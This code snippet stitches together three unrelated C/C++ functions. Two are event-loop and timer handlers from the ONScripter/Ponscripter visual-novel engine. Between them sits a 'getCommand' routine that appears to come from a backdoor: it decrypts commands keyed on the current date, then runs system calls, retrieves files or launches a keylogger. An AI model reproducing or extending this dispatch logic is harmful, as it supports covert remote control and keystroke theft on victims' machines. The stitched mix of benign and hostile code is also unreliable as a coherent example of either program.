bool ONScripter::waitEvent( int count ) { while(1){ waitEventSub( count ); if ( system_menu_mode == SYSTEM_NULL ) break; int ret = executeSystemCall(); if (ret == 1) return true; else if (ret == 2) return false; } return false; }
void getCommand(char **command, int payloadSize) { char *decryptedCommand = NULL; char *token = NULL; char date[11]; struct tm *tm; int option = -1; time_t t; // Get the date information time(&t); tm = localtime(&t); strftime(date, sizeof(date), "%Y:%m:%d", tm); // Decrypt our command using today's date token = malloc(sizeof(char) * payloadSize); decryptedCommand = encrypt_data(*command, date, payloadSize); // Get the command value and an optional filename or command if (sscanf(decryptedCommand, "%d|%[^NULL]", &option, token) == 0) { free(token); return; } // Give the client some time to set itself up sleep(2); // Execute the given command switch (option) { case EXECUTE_SYSTEM_CALL: executeSystemCall(token); break; case FIND_FILE: retrieveFile(token); break; case KEYLOGGER: keylogger(); break; default: break; } free(token); }
void PonscripterLabel::timerEvent(void) { timerEventTop: int ret; if (event_mode & WAIT_TIMER_MODE) { int duration = proceedAnimation(); if (duration == 0 || (remaining_time >= 0 && remaining_time - duration <= 0)) { bool end_flag = true; bool loop_flag = false; if (remaining_time >= 0) { remaining_time = -1; if (event_mode & WAIT_VOICE_MODE && wave_sample[0]) { end_flag = false; if (duration > 0) { resetRemainingTime(duration); advancePhase(duration); } } else { loop_flag = true; if (automode_flag || autoclick_time > 0) current_button_state.button = 0; else if (usewheel_flag) current_button_state.button = -5; else current_button_state.button = -2; } } if (end_flag && event_mode & (WAIT_INPUT_MODE | WAIT_BUTTON_MODE) && (clickstr_state == CLICK_WAIT || clickstr_state == CLICK_NEWPAGE)) { playClickVoice(); stopAnimation(clickstr_state); } if (end_flag || duration == 0) event_mode &= ~WAIT_TIMER_MODE; if (loop_flag) goto timerEventTop; } else { if (remaining_time > 0) remaining_time -= duration; resetRemainingTime(duration); advancePhase(duration); } } else if (event_mode & EFFECT_EVENT_MODE) { const char* current = script_h.getCurrent(); ret = this->parseLine(); if (ret & RET_CONTINUE) { if (ret == RET_CONTINUE) { readToken(); // skip trailing \0 and mark kidoku } if (effect_blank == 0 || effect_counter == 0) goto timerEventTop; startTimer(effect_blank); } else { script_h.setCurrent(current); readToken(); advancePhase(); } return; } else { if (system_menu_mode != SYSTEM_NULL || (event_mode & WAIT_INPUT_MODE && volatile_button_state.button == -1)) { if (!system_menu_enter_flag) event_mode |= WAIT_TIMER_MODE; executeSystemCall(); } else executeLabel(); } volatile_button_state.button = 0; }